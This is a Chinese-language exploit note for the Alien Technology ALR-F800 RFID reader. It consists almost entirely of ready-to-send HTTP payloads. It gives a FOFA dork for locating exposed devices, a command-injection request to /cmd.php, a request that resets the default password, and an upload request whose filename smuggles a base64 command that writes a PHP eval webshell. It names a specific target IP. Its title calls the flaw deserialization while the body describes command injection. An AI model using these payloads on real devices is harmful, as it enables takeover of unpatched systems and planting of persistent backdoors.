A42-1Alien-ALR-F800-反序列化RCE

漏洞描述：

Alien Technology ALR-F800存在命令注入漏洞

fofa语法：

“ALR-F800”

漏洞复现：

payload：

POST /cmd.php HTTP/1.1
Host: 
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

cmd=help

Web 界面和 SSH 的默认帐户（用户名）的密码将重置为password1 通过上面修改了web页面密码，进行修改Authorization认证，再通过下面请求包进行getshel
payload：

POST /cmd.php HTTP/1.1
Host: 
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

cmd=password=password

http://ip/shell.php
payload：

POST /cgi-bin/upgrade.cgi HTTP/1.1
Host: 98.152.108.61
Authorization: Basic YWxpZW46cGFzc3dvcmQx
Content-Length: 301
Accept-Ldwk: bG91ZG9uZ3dlbmt1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ3keNKAe5AQ9G7bs

------WebKitFormBoundaryQ3keNKAe5AQ9G7bs
Content-Disposition: form-data; name="uploadedFile"; filename=";echo ZWNobyAiPD9waHAgZXZhbChcJF9SRVFVRVNUWydjbWQnXSk7Pz4iID4gL3Zhci93d3cvc2hlbGwucGhw| base64 -d | sh"
Content-Type: application/octet-stream

Hi！
------WebKitFormBoundaryQ3keNKAe5AQ9G7bs